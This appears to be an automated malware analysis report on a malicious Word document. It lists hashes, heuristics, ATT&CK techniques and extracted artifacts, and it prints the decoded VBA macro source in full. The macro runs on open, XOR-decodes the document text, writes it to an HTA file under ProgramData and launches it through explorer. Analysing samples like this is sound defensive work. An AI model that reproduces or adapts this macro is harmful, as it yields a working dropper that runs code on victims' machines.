Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5ca3c56473900484…

MALICIOUS

Office (OOXML)

49.3 KB Created: 2021-06-14 11:39:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: 7902550482b459d593fdb4ba265a1059 SHA-1: 91a8a103dffd553877834d2bc03f018cff81d14d SHA-256: 5ca3c5647390048426967f9a642cb43a0761e33b3602e2d16bcd80e4749a7326
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing VBA macros. The 'autoopen' macro triggers the execution of the 'globWidth' function, which in turn calls the Shell() function. This function is used to execute a command, specifically 'c:\windows\explorer ', concatenated with other strings to form a path to a file that is likely a second-stage payload. The 'convBtnOpt' function constructs the path 'c:\programdata\trustPtr.ht' which is then used to write data to a file. This indicates the document is designed to download and execute a malicious payload.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1277 bytes
SHA-256: 85f288c0397518e75593b118a60d82912fb1ab50d80c88aaf61eefa0acd26fd7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "initLen"
Function globWidth()
globWidth = Shell(convBtnOpt("c:\\windows\\explorer "), vbNormalFocus)
End Function

Attribute VB_Name = "btnValueInd"
Sub autoopen()
btnHeader
libraryLoadDel = globWidth
End Sub
Function convBtnOpt(genericFunction, Optional pointerDoubleConv = "c:\program", Optional curInt = "a")
convBtnOpt = structStruct(genericFunction & pointerDoubleConv & "data\trustPtr.ht" & curInt)
End Function
Function structLengthResponse(arr As Variant)
Dim out As String
out = ""
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 10)
Next
structLengthResponse = out
End Function
Function structStruct(libraryLoadDel)
structStruct = Trim(libraryLoadDel)
End Function

Attribute VB_Name = "convSet"
Sub btnHeader()
Open convBtnOpt("") For Output As #1
Print #1, deleteCaptionQuery
Close #1
End Sub
Function deleteCaptionQuery()
deleteCaptionQuery = structLengthResponse(Split(ActiveDocument.Range.Text, "-"))
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: fb0ee85075ef22a872d35506a7fedd91e8594e82bbf09b234e9368ebeb35a066

Open this report in the interactive analyzer, or submit your own file for analysis.